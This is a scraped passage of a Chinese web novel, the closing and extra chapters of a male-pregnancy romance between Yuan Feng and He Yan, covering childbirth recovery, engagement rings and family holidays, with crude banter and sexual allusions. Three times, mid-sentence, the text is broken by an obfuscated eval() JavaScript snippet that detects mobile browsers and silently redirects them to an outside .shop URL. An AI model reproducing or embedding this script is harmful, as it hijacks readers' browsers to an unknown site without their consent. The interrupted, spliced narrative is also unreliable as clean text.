因为是顺产,元丰恢复得很快,从没来过大姨妈的他,第一次经历了类似姨妈的恶露,给他弄得脸色很难看。 贺颜有生之年,第一次去便利店买了卫生巾。他是做梦也没想到,自己有一天要学着怎么给内裤贴上这玩意儿。 “我胸好疼啊,你去叫王医生过来看看咋回事儿。” “估计有奶-水。”贺颜调侃道。 “……”元丰皱起眉头,“我都这样了,你还气我。” 贺颜笑了笑:“这样怎么了,不是挺好吗?” “好个屁!” 医生检查过后,说是可能有奶-水,建议元丰不要喂奶,等过几天回奶就好了,实在难受可以适当挤一挤。 元宝生下来就乖巧,也不怎么哭闹,一直躺在小婴儿床里,不是吃就是睡。涨出来的那点奶-水,最后都被孩子她爹给吸出来了。 “什么味道啊?” “跟水似的,没味儿。”贺颜还仔细尝出味儿来,就被推开了。 “你快别折磨我了,我都想做了。”元丰自言自语,“啥时候能痛快啊……” “……”贺颜服了,“你这脑瓜子里,还能装点什么?” “还有你和元宝啊。” “嗯,睡觉。” 在医院住了五天,元丰直接去了月子中心,一日三餐有人准备,孩子也有专人照顾。他看着奶味儿十足的小婴儿,想抱一抱都没什么机会。 他盯着正在抱元宝的男人,羡慕道:“你让我抱一会儿不行吗?” “腰不想好了?”贺颜小心地把元宝放在元丰怀里,“只能几 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闵兰瑛走进卧室,拿起床上的玩具逗了逗,元宝听到声音,兴奋地蹬了两下肉乎乎的腿,翻身爬了过去。 “我看她就是成心的,我逗她倒没反应。” “你每天忙工作,元宝还是要小丰多一些。” 贺颜弯腰抱起爬过来的小婴儿,接过母亲手里的小摇铃。元宝看到摇铃,一把攥紧,用力摇了两下子。 “我闺女劲儿真大。” “这孩子手劲儿是大。” 贺颜问:“妈,他出去多久了?” “三点去的,说是吃饭前回来。” 母亲的换肾手术很成功,三妹元秋辞了老家的工作,在医院里照顾母亲。 元丰现在彻底没什么可操心的了,他看向病床前的母女俩:“妈,小秋,我先回去了。元宝还在家里等我,过两天再来。” 王金凤点点头,“照顾孩子要紧,快去吧。” “是啊,哥。”元秋笑道,“我在这儿照顾着,你尽管放心。” “好,我先走了。” “嗯哪。” 元丰走出住院部大楼,一阵寒风吹过。 他戴上帽子,朝着出口走去。不远处,陈硕正站在车旁打电话,估计又在煲电话粥。 他改道去了医院旁边的二十四小时便利店,打算买两罐热饮暖暖身子。兜里的手机突然响了,是孩子她爹打来的。 “什么时候回来?” “刚从住院部出来,一会儿就回去了。” “元宝闹了,赶紧回来。” 元丰扑哧一笑:“她那么乖,闹的是谁啊?” “是你闺女。” “我闺女可不叫小颜。”元丰笑着说,“你想我就直说呗,有啥不好意思的,都老夫老妻了。” “回来再收拾你。” “求之不得。” 【正文完】 35. 番外① 贺颜打开卫生间的窗户,一阵裹着细雨的寒风迎面袭来。 他回到卧室,先从衣柜里拿出宽松的保暖内衣和毛衣,随后掀开被子,在床边坐下。 “起床了。” 屁股被拍了两下,元丰跟拧麻花似的在床上伸了个懒腰,迷糊道:“几点了啊?” “九点。” “我操,九点了?”元丰立刻睁开眼坐起来,摸出枕头下面的肚兜,边穿边絮叨,“我就眯了五分钟啊,这时间过得忒快了,你为啥不叫醒我?” “叫了,没反应。”贺颜换了个方向,拉过元丰腰部两侧的细带子,利落地打上结。 他把保暖内衣撑开,“头过来,赶紧穿衣服。” “不可能。”元丰配合地钻进去,先后抬起左右胳膊,“今天要喝糖水啊,你还不叫我。” “大清早就叽叽喳喳的,啰唆。”贺颜又拿过毛衣,继续给元丰穿衣服。 元丰钻出毛衣领口,冲床边男人一笑:“我上辈子没准是只鸟儿,就爱叽叽喳喳,咋的?” “什么鸟儿?” 元丰不太懂鸟的种类,脱口道:“麻雀呗。” “麻雀筑巢,有窝有蛋。”贺颜开起玩笑,“你有吗?” 愣了几秒才反应过来的元丰,脸瞬间黑了。身为男人的尊严竟被无情调侃,他指着自己的孕肚回怼,“你说有没有?窝跟蛋都在这儿呢!” 贺颜一愣,随即笑道:“还真是只麻雀,会下蛋了。” 元丰:“……” 自己起的头,自认活该。 元丰喜欢产检,每次轮到产检的日子,孩子他爹都会陪着一起去医院。可今天的检查痛苦又煎熬,他完全高兴不起来。 他昨晚八点过后没再进食进水,早上九点三刻才到医院,先空腹抽了第一次血,随后开始喝葡萄糖兑的糖水,甜得齁死人不说,还差点吐了。几百毫升的糖水喝完,接下来是漫长的等待。 “我好饿啊……”他低骂道,“妈的快饿死了,啥时候能吃饭啊……” “忍一忍。”贺颜说,“做完检查带你出去吃。” “第二轮抽血还没到。”元丰歪着脑袋靠在男人肩膀上,抱怨道,“谁让你不叫我起床的,早检查早结束。昨晚八点过后我连水都没舍得喝一口,全赖你!” “自己昨晚干了什么,赖谁?”贺颜反问。 “……”元丰看了看周围,低声说道,“那也不能赖我啊,先‘站起来’的是你。” 贺颜无所顾忌,淡淡回道:“你这舌头老实点,也不至于——” “你!”元丰迅速捂住贺总的嘴,压低声音,“赖我赖我,全都是我的错。” “知道就行。” “……” 右侧没人,元丰看了看左侧,隔了两个空位的那对夫妻依旧在聊天,没注意他这边。他转头想好好说说贺总,目光被孕妇搭在腿上的手给吸引了。 确切地说,是戴在无名指上的那枚戒指。 他愣愣地看了好一会儿,低头看向自己的手。 贺颜定时提醒的第二轮抽血时间到了,他站起身说道:“该抽血了,起来。” “哦哦。”元丰拉住贺总递过来的手,准备起来的动作一顿,指节分明的五根手指上干干净净,什么都没有。 “又不饿了?”贺颜催促道。 “饿啊!”元丰站起来,跟着贺总去了采血窗口。 抽完第二轮血,又是漫长的等待,元丰饿得肚子发出咕噜声。 他靠在贺总肩头,低叹道:“我不行了,要饿死了。” “胡说什么。”贺颜伸手揽住元丰,“眯着睡一会儿,睡着就不饿了。” “可是我饿得睡不着啊……” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658639|144025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 自从过了孕期反应,元丰胃口逐渐大开,饭后水果甜点一样不少,有时还得加餐。 昨晚八点开始到现在,近十五个小时未进食,贺颜有些后悔早上没把人叫醒。 他掏出手机拨通助理电话,吩咐陈硕尽快订餐,一个小时后准时送到医院门口。 元丰闭上眼,强迫自己眯一会儿。他想起那对夫妻手上的对戒,琢磨着是不是也该去买一对戒指,就像老家的风俗那样,定个亲。 他回忆起跟贺总的第一次相遇,又睁开眼睛,低声说道:“我睡不着,你陪我说会儿话,好不好?” 贺颜应了声好,又说:“睡不着甭睡了,还有四十五分钟。” “你第一次朝我走过来的时候,我还以为你要找我麻烦。”元丰说着笑了起来,“不知道你跟你朋友商量了啥。” 贺颜回忆了下,问道:“我有那么吓人?” “你块儿大啊,又面无表情的。”元丰说,“而且你那个朋友当时跟我说话特别不客气,我以为他跟你打小报告,你要给他报仇。” “幼稚。”贺颜笑了笑。 “他说我要走大运了,我还纳闷呢,都骨折了走啥运啊。” “嗯。” “后来我发现我不是走大运,是他妈犯太岁了!”元丰语气一顿,“对了,我给你打电话说我车被偷了,你是不是以为我想讹你啊?” “那倒不至于。”贺颜提醒道,“不过你这瞎话真是张嘴就来,九成新?” “……”说起这个元丰就来气,“你还好意思提,那么大个老板,跟我计较一两百块钱。” “你忽悠我,我不能忽悠你?” 元丰嗓门微微拔高:“你忽悠得还少啊?” “都是跟你学的。”贺颜摸了摸元丰的脑袋,夸道,“名师出高徒。” “……” 36. 番外② 相识至今,自己好像从没为孩子他爹做过什么。元丰在家反复琢磨了两天,决定趁行动方便之前,给对方一个惊喜。 在某个寂静深夜,他按照网上查来的教程,用小纸条偷偷量下贺总左手无名指的尺寸。 量完以后,又分别给两位老师发了微信。他没舍得关灯,静静欣赏着男人的睡颜,目光自浓密的眉毛一路往下,连耳垂都没放过。 老家定亲有三金到五金,耳环手镯是不行了,要不再买条金项链? 元丰已经想好了,先买对戒,钱还必须从自己腰包里掏。现在出行只能靠陈硕接送,为避免对方说漏嘴,他准备再发一条微信过去。 “怎么不睡觉?” “我操!”元丰吓得心一慌,手机直接砸在肚子上,“哎哟……”贺颜也被吓一跳,迅速起身凑过去,摸上被砸到的地方。 他皱眉数落道:“毛手毛脚。” “是你先吓我的啊。”元丰赶紧把手机锁屏,甩到枕头旁边。 贺颜轻轻摸了一会儿:“还疼吗?” 元丰怕贺总发现端倪,立刻摇摇头:“不疼了,咱们快睡觉吧。” “刚才在干什么?” “没干啥啊。”元丰关掉床头灯,摸黑躺下,猴急道,“你快躺下来,我想抱着你睡。” 孕期睡眠质量有时会不好,贺颜没多想。他躺下来,将元丰揽进怀里:“睡觉。” 幸亏贺颜没过问也没查手机,元丰松了口气,高兴地仰起头,在男人下颌处用力嘬了一口。 “不老实。”贺颜说完,偏头吻了上去。 * -陈硕,你明天早上九点能不能过来啊?我有非常重要的事情想跟你商量,你千万别告诉贺总。 -千万别告诉贺总啊,你来了就知道。 两条消息,一条半夜一点发的,一条是十分钟前发的。贺总与元丰之间早已不是纯粹的包养关系,所以陈硕不会再事无巨细地汇报情况。回复完消息,他拿上车钥匙离开了公寓。 元丰把陈硕请到书房,简单说明了情况。 “我也不清楚哪儿有卖对戒的,你带我去行不?顺便帮我一块儿挑挑。” 陈硕并不了解戒指,无法确定自己的审美。他点点头:“我尽量。” “一会儿我跟阿姨说去找许辉,就你见过的那个,买完戒指我就回来。”元丰再次叮嘱,“你千万别告诉贺总啊。” “好,我不会说的。”陈硕提醒道,“外面有些冷,多穿点。” “我去穿那件最厚的羽绒服,你等等啊。” “嗯,不着急。” 陈硕来之前不知道元丰有什么急事,所以汽车没停在地下车库,俩人一前一后进了电梯。 元丰突然问:“陈硕,贺总以前戴没戴过戒指啊?” “没有。” “我猜也是。”元丰嘿嘿一笑,“我在想给他买个多少克的金戒指,肯定不能太细。” 陈硕觉得贺总应该不会戴金戒指,他问:“为什么不买铂金的?” “黄金的好,我老家那儿定亲基本都是黄金。”元丰没好意思说黄金的寓意更好,象征着情比金坚。 “嗯,根据你老家的风俗来吧。” “是啊,如果他喜欢铂金,我以后再给他换。” 电梯到了一层,打开时,里面的俩人和外面的男人俱是一愣。 元丰没敢把买戒指的事儿告诉李格,就怕对方说漏嘴。他半夜特地发微信过去说自己想休息一天,课不上了,这怎么还过来了呢? “你俩这是干吗去?”李格问。 陈硕没搭理,径直走出电梯。 “我给你发的微信,你看没看见啊?”元丰反问。 李格掏出手机:“你给我发微信了吗?没看手机。” “……”元丰无语,“昨晚给你发的啊。” “昨晚有应酬,喝多了。”李格打开微信,看到了元丰的消息。 他问:“既然休息一天,你这是要上哪儿?” “我去找我兄弟叙旧。”元丰急忙回道。 兄弟叙旧,陈硕肯定不会参与,李格觉得这是个增进感情的好机会。 “行,带我一块儿去吧。” 陈硕&元丰:“……” 李格无视二人脸色,继续道:“你现在肚子这么大,光有陈助理看着,我不放心。” “有啥不放心的?车子直接停我兄弟店门口。” 李格认真道:“不放心我侄子。” “……” 继续掰扯下去也是浪费时间,元丰无奈说出实情,随后严肃警告:“你敢告诉你哥,我跟你生气啊!” “原来是这么回事儿。”李格故意板起脸,“大嫂,你这胳膊肘怎么还往外拐?找他不如找我。” “好好好,一块儿去吧。” “这还差不多。” 三人走到汽车旁,李格先扶元丰上了后座,自己则不客气地坐进副驾。 陈硕带元丰去了本市最大的商场,一楼全是卖首饰的专柜,黄金居多。 元丰一进去就被闪瞎了眼,完全不认识那些品牌。他问李格:“哪个牌子好啊?” 李格从未买过黄金类的首饰,他妈也不爱戴这些玩意儿。 他四处看了眼,说道:“黄金都差不多,主要挑款式,先去逛逛。” 元丰点点头,“好像有点道理,那咱们先去左边这一家吧。” 柜台的营业员看到三个男人前来挑选戒指时,说不好奇那是假的。 她笑着走过去,热情地招呼道:“三位帅哥是想买什么样的?自己戴还是……?” 李格冲女营业员笑了笑:“我们先自己看看。” 营业员愣了一瞬,随即笑眯眯地说:“好的好的,有看中的可以跟我说哈。” 元丰盯着一排排金戒指,问身边两位男同胞:“看得我眼都花了,你们说他喜欢哪种样式的啊?” 陈硕仔细看过去,没一款能入眼的。他想了想,说:“贺总应该不喜欢太花哨的。” “老板喜好都没摸准,你这私人助理怎么当的?” 来的路上,碍于灯泡在场,李格忍到现在可算找着机会。 他故意挤开陈硕,指着玻璃下方一款刻有“福”字的大金戒指,笑道:“我看这款不错,他肯定喜欢。” 陈硕:“……” 元丰盯着那款金戒指,突然想起黄总经理。总经理手上就戴着这么大一个金戒指,只不过刻着“發”字,腕上还不忘戴一只黄金貔貅,跟个暴发户似的。 他脑补贺总戴上戒指的样子,狐疑道:“真的假的啊?你别忽悠我。” “谁不想做个有福之人?”李格说。 “别说了。”陈硕直接打断李格,“现在是开玩笑的时候?” 陈硕依旧是那张面瘫脸,一直被无视的李格像是发现了新大陆,他目光直白地盯着陈硕,哼笑一声:“我们自家人开玩笑,你一外人插什么嘴?” 元丰盯着四目相对的俩人,总觉得哪儿不太对劲,怎么还吵起来了?他上前打圆场:“没事儿没事儿,这金戒指确实挺好看的,就是分量好像不轻。” 陈硕看向元丰,低声说道:“走吧,换一家。” 三人又换了个柜台,李格趁元丰专心挑戒指的间隙,凑到陈硕旁边,调戏道:“咱俩也整一对戴戴?” 陈硕并未将刚才的小插曲放在心上,但李格举止轻浮,实在遭人反感。 他皱起眉头:“离我远点。” “除了这几句车轱辘话,你还能说点别的吗?”李格压低声音,继续调戏,“跟了我,就不用做外人了。” “滚。” “听腻了,能不能换个词儿?” 陈硕选择无视,去了元丰那边。李格盯着那背影,越瞧越满意。 元丰没有转太多柜台,最后在陈硕和营业员的推荐下,选择了一对简单大方的磨砂素戒。 他试戴自己的那一款,来回看了好几遍。“我戴着行吗?” “行,挺好看的。”李格夸道。 陈硕点头,“很适合你。” 元丰看着另外一款大号金戒指,嘴边的笑就没停过。 还没到下班的点,贺颜收到元丰发来的短信,问他几点回家。 这阵子的应酬能推的他基本推了个干净,今晚临时有个不能推的。他简短说明情况,让元丰先睡,别等了。 -那你几点回来啊? -十二点之前。 -别等了,听话。 看到贺总发来的第二条消息,元丰听话地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658640|144025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回了个好字。他给手机上了23:00的闹钟,决定吃完饭就马上补觉。 贺颜赶在十一点前回到家,卧室里一片漆黑。他打开卫生间的灯,光亮照进室内一角,床上的人睡得很熟。 以往总要说一句“没你睡不着”的人,今天却乖得有些反常。 正准备去洗澡时,床头柜上的手机响了:“头顶的太阳,燃烧着青春的余热。它从来不会放弃……” 元丰迷迷糊糊地睁开眼,伸出去的手突然被抓住,他吓得大叫一声。 昨晚半夜不睡觉,今天又直接上闹钟,果然有些反常。贺颜关掉闹钟,问道:“这是准备干什么?” “没啊。”元丰瞬间清醒,反握住贺总的手,“我都他妈快让你吓死了,吓着我没事儿,你别吓着元宝啊!” 贺颜盯着元丰:“你还知道关心孩子?为什么不好好睡觉?” “……” “自己说吧。” “……” 贺总瞧着好像生气了,元丰只恨自己闹钟怎么没再提前一点。 他左手向后伸,小声说道:“我想给你一个惊喜来着……” “这两天不好好睡觉,是为了给我惊喜?”贺颜有些意外,在床边坐了下来。 元丰点点头,摸出枕头底下的绒布盒子:“我不知道你会有应酬,可是都准备好了,就想在今天给你,所以才上闹钟的。” “什么惊喜?” “虽然咱俩都是男的……”元丰攥紧爱心形状的小盒子,紧张地直奔主题,“其实我心里早就,早就把你爸妈当成……” “嗯。”贺颜静静听着。 “当成……”元丰头回觉得自己脸皮忒薄,简单的两句话怎么还说不利索了?他做了个深呼吸,猛地将手伸到贺总面前打开盒子,快速说道:“当成我的老丈人和丈母娘!所以这个戒指送给你!我自己也有一个,咱俩是一对的!” “……”贺颜盯着红色小盒里的那枚金戒指,自动忽略了称呼问题。 他意外于元丰居然会准备这样的惊喜,而自己却没想到。 元丰等不到回应,抬眼见贺总盯着戒指不吭声,心里一慌:“你是不是不喜欢黄金啊?我老家那儿定亲都用黄金的,这是……仪式感!仪式感不能丢啊,你要是喜欢铂金,我以后再给你换新的。” 贺颜又是一愣:“定亲?” “对啊,就……就是咱俩定下来,像夫妻那样。”元丰举了半天,急了,“你到底戴不戴啊,我手都酸了,不给我面子是不是?” “怎么还急眼了?”贺颜笑了,主动伸出左手,“给我戴上。” 元丰激动地取出戒指,小心翼翼地握住面前那只大手,将戒指缓缓套进男人的无名指。套上的那一刻,他心里涌出一股难以言喻的感受,胸口很胀,胀得眼睛都发酸了。 “真他妈好看啊。”他笑着说,“我还担心尺寸有误差,幸亏正合适,以后不许摘啊。” 贺颜一想便明白了:“尺寸昨晚量的?” “嗯,我用小纸条做了记号。”元丰高兴地从枕头底下摸出自己那一枚,刚要戴时,被抢走了。 “把手给我。”贺颜说。 “哦哦。”元丰激动得都忘了这茬,赶紧伸出自己的左手,张开五指。 贺颜将戒指套进他的无名指,说:“先戴一阵子,以后给你换个钻戒。” “啊?我不要钻戒,这个就挺好的。”元丰牵住贺总左手,问道,“你喜欢不?” 贺颜不喜欢戒指,所以从没戴过这玩意儿。但这枚金戒指的意义不同,戴上的那一刻,他不仅没觉得被束缚,反而感觉挺好。 “你给的惊喜,能不喜欢吗?” “喜欢就好。”元丰乐和道,“今天是咱俩定亲的日子,不来一发大的,说不过去啊。” 贺颜拒绝:“睡觉,明天补给你。” “不行!”元丰语气激动道,“收了我的戒指,你今天必须满足我。回头我再给你买条大金链子,好不好?” “……” “能不能给我个痛快啊?” “知道了。” 贺颜站起身,“我先去洗澡。” 元丰兴奋地下了床,火速扒光自己的睡衣:“等等我,我跟你一块儿洗。” 贺颜:“……” 37. 番外③ 元丰的奶-水每次只能产十几毫升,断断续续,直到出了月子才彻底回干净。 再不干净他就要崩溃了,这种隔靴还搔不着痒处的滋味儿忒他妈折磨人。可怜元宝一口都没喝过“妈妈”的奶,全让爸爸给喝了。 元宝两个月的时候,元丰再次进了医院,被孩子她爹逼着去做产后修复。做完修复之后,他没有请保姆,亲力亲为地在家照顾闺女,孩子奶奶会帮着搭把手。 虽然他挺想上班,但元宝生下来才五斤多,有些瘦小。他舍不得孩子,打算先带到能吃辅食再看情况。 这一带,就带到元宝八个月大。 眼看着快到家了,等红灯时,元丰开口说道:“陈硕,就停小区门口吧。” “天冷,我送你进去。” “哎哟,没事儿。”元丰感慨道,“我天天在家带元宝,自己的时间忒少,正好一个人走走。” 李格还在等自己回去吃饭,陈硕迟疑片刻,同意了。 元丰只是不想耽误陈硕回去吃饭,等汽车一离开,便归心似箭地往家跑。 几个月前,他们一家子又搬回当初生活过的那套大平层,好在16单元离小区正门口不算远,没跑几分钟就到了。 一进屋,客厅里头传来元宝的哭声,他一边着急换拖鞋一边喊道:“元宝,爸爸回来了!” 尿不湿换了,奶也喝了,元宝趴在沙发上玩着玩着突然自己哭了起来。 贺颜赶紧把闺女抱起来,笑着哄道:“好端端哭什么?想你妈了?” 元丰脸一黑,快速脱下身上的羽绒服,走到贺颜身边:“你别瞎教孩子,快给我抱抱。” “我怎么瞎教了?”贺颜把元宝交给元丰,说:“晚上弄的小面条,她都吃了。” “嗯。”元丰抱住闺女,轻轻晃了晃,笑道,“哭啥?爸爸这不是回来了吗?咱们元宝今天真棒,小面条都给吃了。” 感受到熟悉的气息,元宝瞬间不哭了,小肉手揪住爸爸的衣领:“啊……麻……” 贺颜笑了两声:“你自己好好听听。” “……” 半个月前,咿咿呀呀的元宝有了新词,会无意识地发出“巴”和“麻”。尽管是无意识的,元丰却激动得差点掉眼泪,闺女会叫爸爸了。 可没高兴几天,这孩子不知道跟哪儿学的,偶尔会叫“麻麻”。 他耐心纠正道:“元宝,是爸爸。爸爸……要叫爸爸……知道不?” 元宝抠弄着爸爸的毛衣,又沉浸在自己的世界里,完全不配合。 元丰盯着贺颜,再次叮嘱道:“你以后不准在孩子面前提起‘妈’这个字儿,听到没?” “她会叫妈,还不是跟你学的?” “我可从没教过她这个字儿。”元丰反驳道,“肯定是你老瞎说。” 贺颜懒得争辩,点头道:“嗯,我瞎说的。” 闵兰瑛刚巧从卫生间里出来,笑着说:“小丰回来了,那咱们开饭。” 元丰有些不好意思:“妈,下回别特地等我一块儿吃饭了。” “汤刚炖好,也没等几分钟。”闵兰瑛上前伸出手,“孩子我来抱,你俩先去吃饭。” 有个说法叫一孕傻三年,贺颜本来还觉得有些夸张,但看着在孩子耳边妈前妈后的元丰,他信了。 一家人吃完饭,元丰抢着把餐桌给收拾了。客厅左侧的地上围了一大圈防护栏,元宝的爷爷奶奶陪着元宝坐在爬行垫上玩玩具,不用自己操心。 他边洗碗边琢磨工作的事儿,下个月就过年了,等开春正是找工作的好时候。 唯一担心的是元宝离了他会不会哭闹,可大男人也不能老在家里带孩子,总得找个事儿干。 贺颜去书房接了一通电话,回来看到元丰在洗碗,立刻过去把水龙头关了。 “欸你……” “洗碗机是摆设?” “……”元丰重新打开水龙头,“手洗方便,我这都快洗好了,再过一遍水。” “我来吧。”贺颜主动接过他手里的碗,边洗边问,“你妈那儿怎么样了?” “恢复得挺好的。”元丰心里感激贺颜为他做的一切,又忍不住说了声谢谢,“你对我这么好,我都不知道该咋回报你了……” 贺颜一笑:“晚上好好表现。” 元丰趁孩子爷爷奶奶没注意,一把抱住贺颜,先是在他脸颊上亲了一口,随后又凑到他耳边低声说:“来个观/音/坐/莲,咋样?” “你行吗?”贺颜调侃道,“没有金刚钻,揽什么瓷器活儿。” “少看不起人啊。”元丰信誓旦旦,决定把憋了一个多星期的秘密说出来。 “最近我老锻炼,元宝一睡午觉就开始,肌肉好像都出来了。” 贺颜有些意外:“怎么锻炼的?” 虽然是顺产,但生孩子确实让元丰的身体素质变差了。家里有个贺颜专用的独立健身房,他白天会抽时间锻炼,一是增强体质 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“咱俩这称呼得区分开。”贺颜一本正经道,“她是你生的,叫你妈不是挺正常吗?” “……” 不知道是因为产过奶还是因为在家带孩子,元丰身上总有一股好闻的奶香味儿,等元宝再大一些,很有可能会主动叫妈妈。 贺颜不会去强制纠正,元丰却过于排斥这个称呼,得让他试着去接受。 “这是孩子跟你亲近的表现,如果她想叫妈妈,也没什么错。” 元丰喜欢跟孩子亲近,其实称呼问题他想过,都叫爸爸确实容易搞混。 他低头看着白嫩可爱的闺女,说道:“是得分开,要不让元宝管我叫爸爸,管你叫妈妈。” 贺颜:“……” 元丰抬头看到贺颜变了的脸色,顿时哈哈大笑。他捉住元宝的小手低头亲了一口,随后指着贺颜:“元宝,以后见到这张脸,得叫妈妈,知道不?” 元宝又是一声咿呀,扭头看向贺颜:“麻……咿……” “哈哈哈!”元丰快笑死了,“不愧是我亲闺女,真懂事儿。” 贺颜盯着元丰,等他笑够了才吐出三个字:“欠收拾。” “欠得很,待会儿好好收拾我,知道不?”元丰边笑边说。 “骚。” “回房再说,该教坏元宝了。” 38. 独家番外① 元宝最开始是跟着两个爸爸一起睡的,可夜里有时会哭闹,还得起来再喂一顿奶。元丰心疼贺颜白天要工作又舍不得分房睡,只能把孩子送爷爷奶奶那儿去。 久而久之,夫夫俩的二人世界又回来了,打炮也不用再偷偷摸摸。 “这是啥好东西?”元丰看见贺颜从衣柜抽屉里拿出一个包装精致的礼盒,激动地伸手接了过来。 “惊喜。”贺颜说,“自己打开看看。” 算上之前的那些,这是元丰第六次收到贺颜准备的小惊喜了。 …… …… 贺颜笑了,“不害臊。” “老夫老妻了,害啥臊?”元丰歪着脑袋在贺颜左脸颊上又嘬了一口,笑着问,“我他妈爱死你了用英文咋说啊?” “不知道。” “你不是海龟吗?咋会不知道?就Love啊—” “再啰嗦,睡觉。” “好好好,我去拿套。” 在一起这么久,元丰只听贺颜说过一次情话,就是当初李格教的那句英文。 不对,应该是两次,哄自己去住院时又说了一次。 诶,想不到孩子他爹脸皮这么薄,到底啥时候才肯说几句好听的甜言蜜语啊…… …… …… 如今元宝已八个多月,没之前那么黏着妈妈了,完全交给父母带一阵子估计没什么问题。 “嗯。” “嘿嘿…” 虽然比不上前两次,但元丰也喜欢这样。每回的温存时刻,贺颜基本都会依着他,还会陪他聊天。 他捋开额前湿发,一边享受一边断断续续说道:“等开春了,我想找工作……” “想上班了?” “嗯。”元丰歇了会儿,说:“过完年我都24了,元宝也九个月了,丢给爸妈带吧。” 跑业务很累,贺颜却不能说什么,元丰在家里带这么久的孩子,已经很不容易。他问:“想不想上学?” “上学?” “还有你这手术,想好了么?” 元丰天天在家带孩子,都把这俩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658642|144025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事儿给忘了。渴望上学是他从小以来的梦想,至于曾经最嫌弃的玩意儿,也在有了可爱的闺女之后,改变了想法。 “手术不做了。” “确定了?”贺颜问。 “嗯,我早就不嫌弃了。”元丰笑着说,“多亏它,咱俩才能有元宝。而且又痛快,还做了干啥?” 贺颜尊重元丰的想法,应道:“那不做了。” “是陈硕来教还是去别的地方学啊?”元丰有些纠结,“我都这岁数了……” “什么时候学都不晚。”贺颜知道元丰想上学,继续道:“等开了春,我给你安排老师,想考大学就去考。家里不缺你那点工资,其他事儿甭操心,专心学习。” “……” “毕了业再找工作,我养得起。” 元丰被感动得一塌糊涂,沉默了好一会儿才问:“你为啥老对我这么好…” 贺颜抬手抚摸着元丰柔软的细发,笑道:“过阵子再给你一个惊喜。” 元丰难得没好奇,只要是贺颜给的惊喜,他都喜欢。 39. 独家番外② 年关将至,贺颜抽时间去了一趟医院,丈母娘身体恢复得确实挺好,但只能在医院里过年了。 他吩咐陈硕找保洁公司将锦西湾那套房子打扫干净,给老丈人去了一通电话,希望对方能过来过春节。 电话里,他得知元丰已经跟家里联系好,便做主订了机票,把老丈人和刚放寒假的小叔子一并从机场接回了家。 前阵子元丰看贺颜太忙,不想让他操心,瞒着对方在医院附近的某个老小区里租了一套两居室,打算把父亲和弟弟元俊接过来一起过年,二妹元梅得跟丈夫在婆家过年,没法过来。 他白天会趁着元宝午睡,去那套房子里打扫卫生,陆续花了好几天时间才收拾干净,期间陈硕和李格还帮忙出力,弄得他特不好意思。 就在铺好被褥的那天晚上,家里突然来了两位客人。 提前出现在家门口的父亲和弟弟着实惊到了元丰,他把盛着鱼肉粥的碗和勺递给一旁的闵兰瑛,“妈,您帮我喂一下元宝。” “行,你过去吧。”闵兰瑛接过来,先是冲亲家点头打了声招呼,随后才笑眯眯地看向宝宝椅里坐着的元宝,“小宝儿,奶奶喂你吃粥,好不好呀?” 元宝侧过小脑袋,嘴里咿了啊的,看到爸爸时,咯咯笑了两声。 贺颜见到这一幕,心都快让闺女给笑融化了。他让元丰先招呼着,径直走向一天没见的宝贝闺女。 门口的父子二人眼中闪过局促,有些不好意思进屋,脚边摆着两箱土特产和年货。 元丰想起贺颜之前说的惊喜,这人总是替自己着想,安排好一切,医院那边的房子怕是白租了。 他从鞋柜里拿出两双男士拖鞋,招呼道:“爸,小俊,快进来坐。” “元宝都这么大了。” 元志强笑着感慨道。 “是啊,马上九个月了。” 元志强去年送妻子过来时,夫妻二人才得知长子生了个小娃娃。惊讶过后,更多的是欣慰。 “哥,新年快乐。”元俊腼腆道。 “快乐快乐。”元丰笑着问,“去过医院了没?” “去了。”元俊说,“下午就到了,是大哥送我们去的。” 元丰侧头看了眼正在逗弄闺女的贺颜,心里是说不出的感动。 * 晚上,两家人坐在一起吃饭。 元丰怕父亲和弟弟不自在,一直给他俩夹菜,打算好好活跃下气氛。 不过他完全多虑了,两个爸爸聊得很愉快,贺颜也参与其中。话题从家长里短聊到元宝,最后居然谈起了婚事。 小孙女都快九个月了,元志强猜到儿子今年估计要结婚,省吃俭用攒下了一万块钱,准备留给儿子。 他心里愧疚,笑着说:“我都随小丰高兴,听他的。” “这事儿我俩也跟小颜商量过了。”闵兰瑛说,“日子是他自己定的,都安排好了。” 元丰闻言一愣,日子都定好了?敢情惊喜不止这一个。他把手往餐桌底下伸,想偷偷摸一摸贺颜,元宝突然闹了。 元俊凑到小侄女跟前,关心道:“小元宝,咋了?” 元宝坐在宝宝椅上,不安分地扭来扭去,咿咿呀呀乱叫,叫着叫着哭了起来。一大家子的注意力全被她吸引了,元丰闻到味儿立刻抱起闺女,“她那啥了,你们先吃。” “你一人能行么?”贺颜问。 元丰说了行,抱着还在哭的闺女走了。 